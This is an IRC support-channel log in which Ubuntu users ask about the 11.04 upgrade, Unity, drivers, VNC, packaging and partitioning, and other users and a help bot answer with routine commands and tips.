[01:46] <taglass> META-W is also an option for changing windows.
[01:46] <ceed^> shane4ubuntu, well. no. running apps are marked with an arrow on the side in the launcher, so you can restore apps from there
[01:47] <ohsix> kaiyin: yes, but not generally; purging ppa's is nearly a must for upgrades
[01:47] <shane4ubuntu> ceed^: my side bar is sooo full, it is almost useless, it takes quite a bit of time to scroll down, and not all open apps show up there.
[01:47] <erik333> is there a way to reach the normal menu from unity?
[01:47] <kzetts> anyone else getting ridiculously slow sleeps on the dist upgrade?
[01:47] <kzetts> erik333: log out and select ubuntu classic as your session
[01:47] <Soothsayer> if I have the Ubuntu 11 bootable disc.. isn't there ANY way for me to upgrade the 10.10 to it using it? I don't want to download all the packages all over again through the internet update
[01:47] <Soothsayer> its terribly slow.. 5 hours remaining!
[01:47] <ceed^> shane4ubuntu, if you feel you need a taskabar there's always classic! :)
[01:47] <ohsix> nowherefast: any change?
[01:47] <erik333> yes i did that
[01:48] <Ziber> New ubuntu user, 10.10, having issues with my built in mic... Anyone mind helping me?
[01:48] <nowherefast> ohsix: nope : (
[01:48] <Soothsayer> kzetts: yes, here
[01:48] <Soothsayer> very slow update
[01:48] <kzetts> Soothsayer: good, I was making sure its not just me, sometimes my cable is slow as hell, and i reboot my modem, but i didnt want to do it in the middle of the dist upgrade if i didnt have to
[01:48] <nowherefast> ohsix: do you know the command to ID a driver?
[01:48] <ohsix> kaiyin: unfortunately it's down to what you don't know with ppas :\
[01:48] <kzetts> erik333: and? is that not what you wanted?
[01:48] <kaiyin> ohsix: how do i purge them?
[01:48] <shane4ubuntu> ceed^: I'm trying to give unity a try, but not very happy about it thus far, perhaps I will learn the tricks and like it.
[01:48] <ohsix> nowherefast: lsmod
[01:48] <KNUBBIG> is there a command to turn off the display until a button is pressed or the mosue is moved?
[01:48] <conical> how do you remotely log into your machine so you can view it over VNC?
[01:49] <ohsix> kaiyin: ppa-purge ppa:that/youadded0itwith
[01:49] <Soothsayer> kzetts: if I cancel .. can I resume it later? (cause ive already downloaded 800 packages)
[01:49] <erik333> depends, if i want to set up the shortcuts - having the menu handy in some form would problably help?
[01:49] <Mikaze> Long as I can `echo "speakup_soft start=1" >> /etc/modules` and reboot and  thenhave  accessible access to the text console, I'll be happy with Ubuntu.
[01:49] <ohsix> conical: enable remote assistance
[01:49] <kzetts> conical: instyall a vnc service and make sure it is running, and then connect to it on whichever port you specify
[01:49] <Ziber> New ubuntu user, 10.10, having issues with my built in mic... Anyone mind helping me?
[01:49] <reves> Anybody had any problems with a fresh install of 11.04 booting up to the loading screen, then just resetting the system in a loop?
[01:49] <usr13> conical: there is tightvnc and x11vnc
[01:49] <nowherefast> ohsix: i am going to throw 9.04 as my wifi works out of the box on that release and see if it's using the same driver
[01:49] <conical> it requires me to be logged in
[01:49] <conical> to enable remote assitance
[01:49] <ohsix> Mikaze: if that was it, why bother with ubuntu?
[01:50] <conical> assistance
[01:50] <kzetts> Soothsayer: i dont know, im at 844 packages, and im in the same boat, ive seen it drop to as low as 2kbs
[01:50] <conical> which i can do via ssh -x
[01:50] <kaiyin> ohsix: what if i don't remember those names?
[01:50] <WhiteD> ohsix: lol it was a problem with the upgrade package I was using. The Ubuntu Upgrade software is doing the job without a problem.
[01:50] <conical> but then i'm viewing that session
[01:50] <Soothsayer> kzetts: at 22 kbps here
[01:50] <kzetts> conical: can you ssh to you machine and fire up a vnc service?
[01:50] <doobien> it is not letting me upgrade because it is finding some files that i installed elsewhere than ubuntu's repository, is there a way to find out what they are so i can remove them for force an install over them.
[01:50] <ohsix> nowherefast: it might use the same name, but it wont be the same driver
[01:50] <Ziber> !pulseuadio
[01:50] <kaiyin> is there a way to purge every ppa source?
[01:50] <conical> i believe one is already running
[01:50] <WhiteD> ohsix: on original Ubuntu gnome GUI now too
[01:50] <Ziber> !pulseaudio
[01:50] <ubottu> PulseAudio is a sound server intended as a drop-in replacement for !ESD - See https://wiki.ubuntu.com/PulseAudio for information and installation instructions
[01:50] <conical> or at least
[01:50] <ohsix> WhiteD: ahhh, good deal
[01:50] <conical> when I sshed in
[01:50] <conical> i started it through the gnome gui
[01:50] <kzetts> ok, if there is a vnc service running, then connect to your machine with a vnc client!
[01:50] <nowherefast> ohsix: hah! its showing iwl3945, notorious for problems
[01:50] <nit-wit> doobien, are you backed up
[01:50] <george__> Hi folks. How to fix the following message: The following packages have unmet dependencies: python-couchdb: Quebra: desktopcouch (= 0.2.93) but it is not going to be installed.
[01:50] <usr13> kzetts: Yes you can
[01:51] <kzetts> usr13: can what?
[01:51] <doobien> nit-wit - nope
[01:51] <shane4ubuntu> ceed^: ok, cleared some of the junk out of the side bar, and the apps are there, thanks!  I didn't realize they were in there.
[01:51] <ohsix> kaiyin: look in /etc/apt/sources.list.d for the ppa entries, just get their names don't delete them; ppa-puge does downgrades & it needs them there
[01:51] <Spaz_Dynamic> for getting skype, is it recommended to get the ubuntu varient, or just go for skype-static?
[01:51] <nit-wit> doobien, do you think you should be? what if you have a problem that is not fixable?
[01:52] <ohsix> nowherefast: of course, but it's not just the driver; those chips are a pain too
[01:52] <Spaz_Dynamic> I use skype static on my laptop (puppy linux) all the time and don't have any issues whatsoever.
[01:52] <nowherefast> ohsix: what else could it be?
[01:52] <ohsix> nowherefast: they won't work in windows unless you disable the thruoghput boosting thing for routers made in the last 6 years or so either, it's great
[01:53] <kpoman> hi all ! guys after upgrade to 11.04, my radeon DRI on Xorg is broken. Anyone got a quick fix ?
[01:53] <ohsix> nowherefast: what router do you have?
[01:53] <kpoman> kernel 2.6.38-8
[01:53] <itaylor57> Spaz_Dynamic: I use the skype from the ubuntu store
[01:53] <ohsix> Spaz_Dynamic: get skype from the partner repo & it'll get upgrades automatically
[01:53] <nit-wit> doobien, clone your setup before doing anything if you can. http://clonezilla.org/  cover your booty
[01:53] <SinnerNyx> Ok, kinda silly question. Using ubuntu-server. I used to have a custom MOTD, but I don't remember how I did it. I upgraded to 11.04 and whenever I change /etc/motd the changes get wiped when I log in again. I don't want to use a third-party application just to change it once.
[01:53] <Vanishing> anyone having problem with keyboard and mouse?
[01:53] <usr13> george__: apt-get -f install <packagename>
[01:53] <Soothsayer> kzetts: ok , im down to 10 kB/s
[01:53] <nowherefast> ohsix: i have a cheap chinese made router
[01:53] <kpoman> do someone know ?
[01:54] <nit-wit> what
[01:54] <ohsix> SinnerNyx: /etc/issue?
[01:54] <nowherefast> ohsix: it probably doesnt have a name in english : P
[01:54] <Mikaze> I wanna switch from Debian to Ubuntu, and mostly use the text console.  If Ubuntu doesn't have the 2.6.38 kernel with speakup available, I'll be fine.
[01:54] <ohsix> SinnerNyx: grep /etc for bits that you already see on logon :]
[01:54] <Mikaze> I wanna switch from Debian to Ubuntu, and mostly use the text console.  If Ubuntu doesn't have the 2.6.38 kernel with speakup available, I'll be fine.
[01:54] <Vanishing> i cant use my laptop keyboard on natty
[01:55] <nowherefast> ohsix: should i black list the module, then use modprobe to remove the module, then i can use the ndiswrapper gui to install the windows driver? that sound about right?
[01:55] <SinnerNyx> ohsix: issue is for what comes up before login right? good idea with the grep though. I'll get back to you in a sec
[01:55] <Vanishing> can anyone help me with this?
[01:55] <ohsix> nowherefast: if you wanted to do that, but what are you going to do for your netbook? you need to find out what external problems there can be
[01:56] <marrog> hi
[01:56] <ohsix> turning off all optional features of the router is a good start
[01:56] <pfifo> when I install a php module via synaptics do I need to restart apache?
[01:56] <ohsix> pfifo: generally no
[01:56] <nowherefast> ohsix: the chip is crap, but i am at peace with that. since the madwifi driver is made for atheros chipsets i plan on using that one since it has the best ratings on that chipset
[01:56] <KNUBBIG> gnite, wish me luck ;)
[01:56] <pfifo> ohsix, php-gd
[01:57] <ohsix> pfifo: but with php caching things or fastcgi it can get weird
[01:57] <Corbin> Hey, anyone have any experience getting ATI 57xx, 58xx, or 68xx video cards funning at peak performance? Are the drivers available for it up to snuff with Nvidia's yet?
[01:57] <daitheflu03> Hey! Sorry if I'm interrupting another conversation, but anyone else having resolution issues with an acer al2216w monitor?
[01:57] <daitheflu03> It's a 22" widescreen
[01:58] <ohsix> pfifo: if you're using the threaded mpm it might need a restart, i haven't messed with the new (as of 4 years ago lul) stuff in apache 2
[01:58] <ohsix> pfifo: the package likely modified php's configuration and if it's never reloaded during its normal lifecycle you might need to force it
[01:58] <george__> usr13: I did that but it says that depends of another package. I keep tacking the dependencies, and when I finally find one that I can install, it says it will remove A LOT of apps!
[01:59] <thebigroflz> hey are any of you guys good with printers?
[01:59] <ohsix> nowherefast: best ratings? i have two atheros devices and the mac80211 drivers are great
[01:59] <thebigroflz> Im having a headache setting mine up
[01:59] <ohsix> nowherefast: if the problem is know it will end up in module backports as soon as it's available, picking an alternative only picks the worst possible compromise
[02:01] <likki> Is there something better than wine?
[02:01] <ohsix> nowherefast: if you want me to offer anything else i'll need to know something about the router
[02:01] <ohsix> likki: windows
[02:01] <conical> okay, so having installed a vnc server, how do I start an x session running
[02:01] <ohsix> likki: be sure to report a bug if you find one
[02:01] <Corbin> Hey, anyone have any experience getting ATI 57xx, 58xx, or 68xx video cards funning at peak performance? Are the drivers available for it up to snuff with Nvidia's yet?
[02:01] <tase> wow downloading packages for instlaling 11.04 is epicly slow, 8kb/S
[02:01] <conical> essentially, how do I log into my machine without connecting a keyboard to it
[02:02] <conical> so I can use the vnc server
[02:02] <likki> Is there something better than wine besides windows?
[02:02] <ohsix> conical: if you didn't already install ssh or some other remote access, you don't
[02:02] <conical> I have ssh
[02:02] <conical> i can even ssh -X in
[02:02] <jiohdi> likki play on linux
[02:02] <conical> but I need a full session running
[02:02] <hiexpo> tase, proballythousands downloading it system is bogged
[02:02] <pfifo> ohsix, a restart did the trick
[02:02] <ohsix> likki: it's a monoculture, what do you expect there to be a bunch of independent windows implementations so you can pick which one sucks the least? what is your actual problem
[02:02] <ardchoille> !upgrade > ardchoille
[02:02] <ubottu> ardchoille, please see my private message
[02:02] <conical> to do a couple things that a remote X session won't do well
[02:03] <erik333> wine with pulseaudio patch is good enough for me :P
[02:03] <likki> jiohdi: thanks for the reply. what program do you recommend?
[02:03] <conical> so, using ssh, how do I tell my computer to "log in"
[02:03] <conical> locally
[02:03] <jiohdi> the program is called play on linux
[02:03] <ohsix> they don't have enough engineers to fix sound problems and stuff; that's just reality, give them money or code if you need to
[02:03] <Soothsayer> http://i.imgur.com/1IbQU.png <-- this is my breakdown of partitions.. as you can see I have two fragmented unallocated spaces. How do I make the first unallocated space larger? (by using the unallocated space at the end)
[02:03] <nowherefast> ohsix: ohsix: the router zxv10 w300 but i also have a repeater i use to test the wifi network with and both fail
[02:03] <Soothsayer> Right now, my  sda =  C: + FREE-SPACE-1 + D:  + FREE-SPACE-2
[02:03] <MC8> Howdy; when I try upgrading to 11.04 in the update manager, it tells me "Could not download release notes, please check your internet connection" owtte. How does one upgrade?
[02:04] <likki> jiohdi: thanks for being helpful. that is what i was looking for :)
[02:04] <Soothsayer> I want to make FREE-SPACE-1 larger and put Ubuntu onto that.
[02:04] <ohsix> conical: well you normally see a greeter, but since you're in with ssh, you need to start an x session manually, but even then that's probably not what you want, what are you trying to do?
[02:04] <nowherefast> ohsix: the repeater is a tlwa500g
[02:04] <george__> Good night.
[02:04] <ohsix> a _repeater_, i see
[02:04] <RodneyChops> Hi, just started using Ubuntu, I added an extra HD, its showing up fine, but its a mountable ejectable drive... I want it so apps can use it and what not. No programs can see it..
[02:04] <ohsix> nowherefast: well take the repeater out of the equation, can you reach the router?
[02:05] <zachgretzinger> hello?
[02:05] <Logan_> !ask | zachgretzinger
[02:05] <ubottu> zachgretzinger: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[02:05] <romulobr> hi, I was just now upgrading to 11.04 but the installer crashed and there was a message telling me the system may have become unusable... is there something I should do? To prevent the system from not working anymore or anything. I confess I 'm a little bit scared right now.
[02:05] <conical> ohsix I'm trying to access some features of gnome that don't work over an ssh -X connection
[02:05] <ohsix> conical: go on
[02:05] <conical> so I need my computer to log in locally
[02:05] <zachgretzinger> Anyone here familiar with Java?
[02:05] <conical> so I can use VNC
[02:05] <Aginor> zachgretzinger, yes
[02:05] <nowherefast> ohsix: not physically but i have admin axx via browser
[02:05] <linuxman410> need help with intel 845ge video on board only have one resolution how do i fix
[02:05] <thebigroflz> How can I install my Lexmark x1150 printer in Ubuntu 11?
[02:06] <romulobr> I work with java zachgretzinger
[02:06] <freeman_> help! how do i move the unity toolbar to the bottom
[02:06] <SinnerNyx> ohsix: I tried sudo find /etc | xargs sudo grep -i 'welcome to ubuntu server'
[02:06] <ohsix> nowherefast: i mean can your devices reasonably speak to it over wifi
[02:06] <zachgretzinger> Ever heard of Jsmooth?
[02:06] <conical> so, using ssh, how do I tell the computer to log in locally so I can use vnc to access the local session
[02:06] <SinnerNyx> ohsix: it got nothing...
[02:06] <nowherefast> ohsix: i can use it in monitor mode perfectly fine
[02:06] <romulobr> ia there a way to "resume" installation? or something I should do...
[02:06] <n-iCe> Question, is there any difference if I install a 64bit os in a 4GB RAM lap instead of 32bits?
[02:06] <nowherefast> ohsix: it doesn't seem to want to work in managed mode though
[02:06] <ohsix> SinnerNyx: motd is generated from other files, let me look real quick from where
[02:06] <Hello71> Anyone know whether the upgrade is cached?
[02:07] <zachgretzinger> Aginor , romulobr - Do you guys know if there's a way to convert a .jar to a .deb?
[02:07] <ubuntumasterz600> How can I get my gnome battery applet to display my battery life. When I right click and click "estimating" and scroll down I see it there, why can't it just display
[02:07] <Hello71> n-iCe: Well, if it doesn't have a 64-bit processor, it won't work. In addition, your video card may take up part of the addressing.
[02:07] <kaiyin> i think a reinstall would be faster than an upgrade.
[02:07] <ohsix> SinnerNyx: dig /etc/update-motd.d/
[02:07] <Corbin> Hey, anyone have any experience getting ATI 57xx, 58xx, or 68xx video cards funning at peak performance? Are the drivers available for it up to snuff with Nvidia's yet? Specifically, I'm aiming to get a 5770 or 5850
[02:07] <Aginor> zachgretzinger, yes, but it is a bit involved and a jar and a deb isn't nearly similar things, so you can't do a straight off conversion
[02:07] <jazzy> n-iCe: as long as you have a PAE enabled kernel (which the ubuntu server kernel is), it's fine to use 32 bit
[02:08] <george__> After tried an upgrade to 11.04, I've got this http://pastie.org/1845644. And my dpkg --audit returns me this http://pastie.org/1845647. Any help, please?
[02:08] <freeman_> how do i move the unity dock?
[02:08] <Soothsayer> Can software raid-1 be setup after installing Ubuntu ?
[02:08] <taglass> freeman_: You don't
[02:08] <freeman_> taglass, :(
[02:08] <SinnerNyx> ohsix: :S How did my grep command not find this :(
[02:08] <jazzy> zachgretzinger: it sounds to me like what you're really asking is how you can run a jar file in ubuntu, is that correct?
[02:08] <ohsix> Soothsayer: it can be set up any time, what do you want to put on it?
[02:08] <SinnerNyx> ohsix: sorry for wasting your time
[02:08] <romulobr> zachgretzinger,  I don't think so man... a jar is nothing but a zip file with a special xml file inside, I don't know what deb's are, but I think they are more than just that.
[02:08] <ohsix> SinnerNyx: the release name isn't part of the file
[02:08] <conical> so, ohsix, any suggestions?
[02:08] <ohsix> SinnerNyx: no waste :]
[02:08] <Soothsayer> ohsix: my data files + mysql databases mostly
[02:09] <IceWewe> what is the easiest way to tell what version of a package is installed?
[02:09] <Vanishing> can anyone help me with my keyboard and mouse problem in natty?
[02:09]  * LAcan if anyone is experiences with KISMET please /msg LAcan . Thanks!
[02:09] <ohsix> freeman_: look in ccsm for the options of the unity plugin, last time looked you could pick the edge and whether it autohid
[02:09] <IceWewe> from the command line
[02:09] <kaiyin> i remember there is a backup tool often compared with rsync, having a name that also starts with r, but i've forgotten it.
[02:09] <ohsix> LAcan: are you using backtrack?
[02:09] <kaiyin> could anyone remind me?
[02:09] <zachgretzinger> Aginor , ahh, I see. Any links? jazzy , No I know how to run a .jar in Ubuntu. romulobr , all I need is the .deb to call the .jar to run it
[02:09] <ohsix> kaiyin: rdiff-backup?
[02:09] <freeman_> ohsix, ccsm?
[02:09] <ohsix> kaiyin: you might look at duplicity / deja-dup (a ui for the former), it's great
[02:09] <taglass> IceWewe: apt-cache show packagename?
[02:09] <Vanishing> my keyboard works in tty console, but not in x
[02:10] <jazzy> a deb is an installation package, not an executable program
[02:10] <kaiyin> ohsix: thanks. that's it.
[02:10] <Soothsayer> kzetts: cancelled my update. And yes, it can be resumed later from that state itself.
[02:10] <ohsix> freeman_: compizconfig-settings-manager, it lets you edit the compiz settings, one of the plugins happens to be unity
[02:10] <Vanishing> what could be the problem?
[02:10] <Aginor> zachgretzinger, http://www.debian.org/doc/maint-guide/
[02:10] <LAcan> ohsix, no ubuntu
[02:10] <ohsix> kaiyin: i highly recommend duplicity even, if you're looking at using rdiff-backup; unless having the last available version available with its original name is a hard requirement
[02:10] <zachgretzinger> Aginor, thanks
[02:10] <Vanishing> join #natty
[02:10] <Hello71> Anyone know whether the packages downloaded during the upgrade are cached?
[02:11] <jazzy> you don't convert a jar to a deb, you package a jar, along with other things to run it, eg a shell script, inside a deb
[02:11] <Soothsayer> Hello71: yes
[02:11] <ohsix> Hello71: they are like all the other packages
[02:11] <Soothsayer> Hello71: if you want to cancel and resume later, you can.
[02:11] <OchoZero9> to install the touch screen version of unity do i install ubuntu-desktop or ubuntu-netbook
[02:11] <sardonyx> i'm having trouble installing 11.04.  during the install it's saying that it cannot install a bootloader, so no grub installed.  I even tried installing it manually but the drive will not boot.  Anyone else experiencing this?
[02:11] <Soothsayer> I just did a few seconds ago and it gave me the message saying so.
[02:11] <linuxman410> can someone help with intel 845ge i only have one resolution and it says monitor unknown when i check it in setting
[02:11] <OchoZero9> i'm on kubuntu btw
[02:11] <zachgretzinger> jazzy, well do you have  a tutorial or a link then?
[02:11] <Aginor> zachgretzinger, bear in mind that you'll probably have to do more things than to just put your .jar in a debian package
[02:11] <ohsix> OchoZero9: if you have a touchscreen you don't need a special version
[02:11] <freeman_> ohsix, cmd not found :( ... i think i found it installed in software center though?
[02:11] <ohsix> OchoZero9: oh kubuntu, then you probably want ubuntu-desktop and to log in with the main session
[02:12] <Soothsayer> ok about to install Natty, bbl :)
[02:12] <ohsix> freeman_: yep, the command is called ccsm, in the package compizconfig-settings-manager
[02:12] <zachgretzinger> Aginor, yeah I've given myself an 8 hour crash course in the art of .jar and .deb today and am realizing that it's pretty involved
[02:12] <OchoZero9> Okay I'll try
[02:12] <Hello71> Soothsayer, ohsix: Are they saved in /var/cache/apt/archives?
[02:12] <Vorenii> how do i open a txt file to edit as a root?
[02:12] <Soothsayer> Hello71: no clue where
[02:12] <zamN> hey, i'm trying to install GCC on my ubuntu server and its giving me: configure: error: no acceptable C compiler found in $PATH
[02:12] <kaiyin> ohsix: why do you like it so much?
[02:12] <kpoman> hey ! do someone know about radeon ?
[02:12] <kpoman> DRI ?
[02:12] <kpoman> help
[02:12] <ohsix> kaiyin: insanely much faster
[02:12] <jazzy> http://blog.noizeramp.com/2005/08/31/packaging-java-applications-for-ubuntu-and-other-debians/
[02:12] <zamN> I'm not sure what I'm doing wrong. I'm installing a C compiler and it needs a c compiler? lol
[02:12] <Aginor> zachgretzinger, the jars are pretty easy, doing debs are a bit more involved :D
[02:12] <Hello71> zamN: Yes.
[02:12] <ohsix> kaiyin: plus doing baackups every hour is fast enough to do it every hour :D
[02:13] <zamN> Hello71: so then what should I do? I looked at the pre-req's and it said that i needed an ISO C90 compiler
[02:13] <Soothsayer> ohsix: I should RAID-1 only my data partitions right?
[02:13] <zamN> Hello71: i take it that thats a c compiler?
[02:13] <Aginor> zamN, are you trying to build the compiler from scratch instead of installing the packages?
[02:13] <Hello71> zamN: Install the deb?
[02:13] <IceWewe> taglass, Thanks!
[02:13] <zamN> Aginor Hello71: I just went to http://gcc.gnu.org/gcc-4.6/ and installed it onto my server. then followed the tut
[02:13] <ohsix> Soothsayer: keeping data safe takes a lot more than just raid-n, i'm not really comfortable offering advice
[02:13] <zachgretzinger> Aginor , I tried creating a .deb package that called the .jar using "dpkg -b blahblah.deb" in terminal... It built the .deb but did not do what I needed it to. Either that or I'm just not used to Natty yet
[02:14] <Aginor> !gcc
[02:14] <ubottu> Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first)
[02:14] <Vorenii> how do i open a txt file to edit as a root? /usr/share/empathy/empathy-chat-window.ui
[02:14] <Hello71> !packages
[02:14] <ubottu> You can browse and search for Ubuntu packages using !Synaptic, !KPackageKit, !Adept, "apt-cache search <keywords or regex>", or online at http://packages.ubuntu.com - Ubuntu has about 20000 packages available, so please *search* for an official package before installing things in awkward ways!
[02:14] <ohsix> Soothsayer: i will say though, raid is useless without backups, so if you think it will help you avoid them, that's a common mistake
[02:14] <romulobr> wish me luck... i will try to restart the system
[02:14] <Allen-> Can anyone help me with my screen resolution? My monitor shows up as unknown and I can only use 800 x 600.
[02:14] <Hello71> !packages
[02:14] <Soothsayer> I've never configured software raid before, should I just install Natty on a partition first and then plan the raid part later?
[02:14] <n-iCe> Question, is there any difference if I install a 64bit os in a 4GB RAM lap instead of 32bits?
[02:14] <Hello71> !help
[02:14] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[02:14] <Soothsayer> ohsix: no, im not looking at a substitute for backups
[02:14] <gogeta> zachgretzinger: your just packing the jar file into a deb doing that
[02:14] <Soothsayer> crashes instead.
[02:15] <taglass> n-iCe: you'll be able to access the full 4 GB with a 64 bit os.  You can't w/ a 32 bit os unless it supports PAE.
[02:15] <zachgretzinger> gogeta , that's all I'm trying to do... I want the .jar inside a .deb so I can trick Natty into thinking it's not running a .jar
[02:15] <Blue1> n-iCe: does the laptop support 64 bit hardware?
[02:15] <Hello71> !xyproblem
[02:15] <fester> how do i add a mirror so that my downloads go faster? it's taking 20minutes just to download vim
[02:15] <zamN> Aginor Hello71: So I'll just want to run sudo apt-get install build-essential and then I should have gcc on there?
[02:15] <gogeta> zachgretzinger: umm thers no trick your thinking of a launcher
[02:16] <Hello71> zamN: What do you really want to do?
[02:16] <Aginor> zamba, yes, you might want to install automake too
[02:16] <Aginor> zamba, sorry, mistabbed
[02:16] <gogeta> zachgretzinger: bascily a script along with the jar file to make a menu shortcut and stuff
[02:16] <Hello71> ...
[02:16] <Aginor> zamN, yes, you might want to install automake too
[02:16] <freeman_> ohsix, i am in ccsm, do you recall the setting where it switches it
[02:16] <Vorenii> how do i open a txt file to edit as a root? /usr/share/empathy/empathy-chat-window.ui
[02:17] <taglass> Vorenii: sudo vi /usr/share/empathy/empathy-chat-window.ui
[02:17] <ohsix> freeman_: the big purple logo with Unity on it, that's the unity plugin
[02:17] <Vorenii> but i dont want to use vi, i dont understand it.
[02:17] <Hello71> Vorenii: Open Terminal and type in gksudo gedit /usr/share/empathy/empathy-chat-window.ui
[02:17] <zachgretzinger> gogeta , exactly. All I want to do is to be able to change the icon of the .jar. The reason for this is because .jar packages cannot hold system icons. They have icons contained in the package. The .jar in question has a horrible icon and it looks atrotious in the Unity launcher
[02:17] <Vorenii> yes thats the one, thx Hello71
[02:18] <Hello71> !xy
[02:18] <ubottu> The XY problem is when you need to do X, and you think you can use Y to do X, so you ask about how to do Y, when what you really should do is state what your X problem is. There may be a Z solution that is even better than Y, but nobody can suggest it if X is never mentioned.
[02:18] <gogeta> zachgretzinger: well you can make a sh script with any icons and use that script to start the jar
[02:18] <freeman_> ohsix, oh haha, i opened that setting but missed it. thanks :D
[02:19] <cc11rocks> hey Ubuntu
[02:19] <n-iCe> Blue1: I have used a 64bits os before
[02:19] <Corbin> Hey, anyone have any experience getting ATI 57xx, 58xx, or 68xx video cards funning at peak performance? Are the drivers available for it up to snuff with Nvidia's yet?
[02:19] <cc11rocks> have a question...
[02:19] <fcuk112> i am using onboard intel hd2000 gfx with natty - glxgears numbers were very up and down though (23-60fps) when maximised...  any idea?
[02:19] <cc11rocks> i tried to make a JAR in Ubuntu...gave me blank lines
[02:19] <cc11rocks> like i typed in the correct information
[02:20] <soreau> Alright people where the hell is the menu in this natty unity thing. I'm wanting to find monitor properties configuration applet and keyboard preferences etc from sys>prefs like in maverick
[02:20] <cc11rocks> then under it, it had these ">" carrots
[02:20] <cc11rocks> what do i do after that?
[02:20] <fcuk112> soreau, click on the power button
[02:20] <ohsix> soreau: click on the top left then type it in
[02:20] <soreau> fcuk112: The power button?
[02:20] <ohsix> soreau: oh yea
[02:20] <taglass> fcuk112: glxgears is a terrible benchmark
[02:20] <soreau> ohsix: Type what in?
[02:20] <fcuk112> soreau, top right
[02:20] <ohsix> soreau: you can click the power button too, it offers a system settings entry
[02:21] <tase> the unity ... thing... is a WIP i assume
[02:21] <fcuk112> taglass, should it run this slow tho in full screen?  surely it should be smooth?
[02:21] <soreau> tase: Yes, totally
[02:21] <freeman_> ohsix, its saying the new value for the edge binding for the action reveal mode conflicts with flip down of the desktop wall plugin..  then when i set to bottom it doesnt show up :S
[02:21] <gogeta> tase: nope relesed and total fail
[02:21] <cc11rocks> could anyone answer my question?
[02:21] <fester> how do i add a mirror so that my downloads go faster? it's taking 20minutes just to download vim
[02:21] <soreau> They shouldn't have even pushed it out this fast IMO
[02:21] <gogeta> wip would mean its not defult
[02:21] <soreau> gogeta: No it means that it's default and it sucks
[02:21] <taglass> fcuk112: but the numbers are probably capped at your vertical refresh rate.
[02:21] <naiden> when i run vi, ubuntu opens vim, then when i try vim it does not exist and  it proposes install vim, why vim command doesnt works?
[02:21] <Hello71> soreau: Ubuntu is on a fixed 6-month release schedule.
[02:22] <soreau> Hello71: Tell me something useful that I don't know
[02:22] <gogeta> soreau: hehe why im sporting kde now
[02:22] <cc11rocks> I typed in:
[02:22] <cc11rocks> jar cmf program.mf program.jar *.class *.jar
[02:22] <Hello71> naiden: Try vim.tiny.
[02:22] <taglass> naiden: vim-minimal is installed as vi I believe.
[02:22] <cc11rocks> and it just gave me carrots with blank lines underneath
[02:22] <a7ndrew> And Unity was not ready for this release.
[02:22] <cc11rocks> JDK and JRE are properly installed
[02:22] <fcuk112> taglass, if i keep it at the default size, it hits 60fps consistently, as soon as i maximise it...  slows down, very variable - as low as 23fps
[02:22] <ohsix> freeman_: no idea there, i don't use unity
[02:22] <freeman_> ohsix, ok thanks for the help any way :)
[02:22] <ohsix> a7ndrew: then ready for what release?
[02:22] <Hello71> cc11rocks: Try java -jar...
[02:23] <linuxman410> does anyone know about intel 845ge video on board i only have one resolution and it says unknown monitor and says 0 rrefresh rate any way is greatly appreciated
[02:23] <gogeta> fcuk112: i would say turn off compiz but unity screws you there its forced
[02:23] <ohsix> a7ndrew: the netbook version had most of the ideas for unity already in it and used, except it as hacks with maximus and stuff
[02:23] <ric123> Woah, I asked it to include restricted extras during the install and it installed the old 173 NVIDIA driver and now I'm getting weird graphics glitches, anyone else?
[02:23] <katsrc> hey everyone
[02:23] <naiden> Hello71, taglass, but when i type vi, console shows "VIM - Vi IMproved"
[02:23] <cc11rocks> hello71, "java -jar" runs the jar
[02:23] <a7ndrew> ohsix: Well the one after they got it working with multiple monitors would be a good candidate
[02:23] <taglass> fcuk112: no idea then.
[02:23] <cc11rocks> i am trying to create the jar
[02:23] <elsoja> i need help, im desperate
[02:23] <ohsix> a7ndrew: the unity plugin for compiz does almost all the same stuff but it's not a hack
[02:23] <Logan_> !ask | elsoja
[02:23] <ubottu> elsoja: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[02:23] <elsoja> i'm installing ubuntu in my father'1s pc
[02:23] <taglass> naiden: it'sa stripped down version of vim
[02:23] <elsoja> ok so
[02:23] <ohsix> a7ndrew: you might as well be the only one using multiple monitors, because a lot of people don't on netbooks
[02:23] <jiga> is it known bug that launcher sometimes "forgets" about running application?
[02:24] <naiden> taglass, hmm, ok
[02:24] <v-himanshu> yes
[02:24] <a7ndrew> ohsix I'm not using a netbook
[02:24] <v-himanshu> ok
[02:24] <ohsix> a7ndrew: also testing versions have been available for a long time, you should have spoke up then
[02:24] <a7ndrew> ohsix: Its my work desktop I'm trying to use
[02:24] <katsrc> i'm trying out the Nouveau drivers but can't seem to set a correct resolution
[02:24] <katsrc> it's only using 1024x768
[02:24] <ohsix> a7ndrew: netbooks outsell notebooks outsell desktops
[02:25] <gogeta> a7ndrew: you are now
[02:25] <Logan_> katsrc: /join #nouveau
[02:25] <katsrc> Logan_: thanks
[02:25] <Logan_> katsrc: no problem
[02:25] <elsoja> i'm installing ubuntu in my father's pc, (before i formated the old partition and resized windows one to take all the HD), and now i cant create a partition for ubuntu cause i cand resize the windows partition; besides i cand boot on windows cause i unnistaled grub
[02:25] <ohsix> katsrc: the edid information for your monitor is incorrect or unavailable, you'll have to add modes manually with xrandr
[02:25] <gogeta> ohsix: naa they fell off with the tablet market
[02:25] <a7ndrew> yeah, I've managed to ssh into a working machine and brink up irssi. That's a huge win for linux on the desktop so far.
[02:25] <fester> how do i change the mirrors for ubuntu? i'm only getting like 20kbps i need a more local server
[02:25] <gogeta> ohsix: desktops and labbys are still the biggest sellers
[02:26] <soreau> Why doesn't Alt+F2 work when metacity is running?
[02:26] <nit-wit> elsoja, do you have a recovery or install disc
[02:26] <Tekk_> I have an acer crystal eye webcam that's only working in black and white. It seemed to work before but now it doesn't. yes I'm sure that I have no effects on and the balances are all good
[02:26] <ohsix> gogeta: shrug, people are buying netbooks faster
[02:26] <SinnerNyx> ohsix: just wanted to thank you again, and let you know it worked. have a good night
[02:26] <ohsix> a7ndrew: so use the classic session & what you're familiar with
[02:26] <ohsix> SinnerNyx: great
[02:26] <linuxman410> edid
[02:26] <Logan_> !chmirror | fester
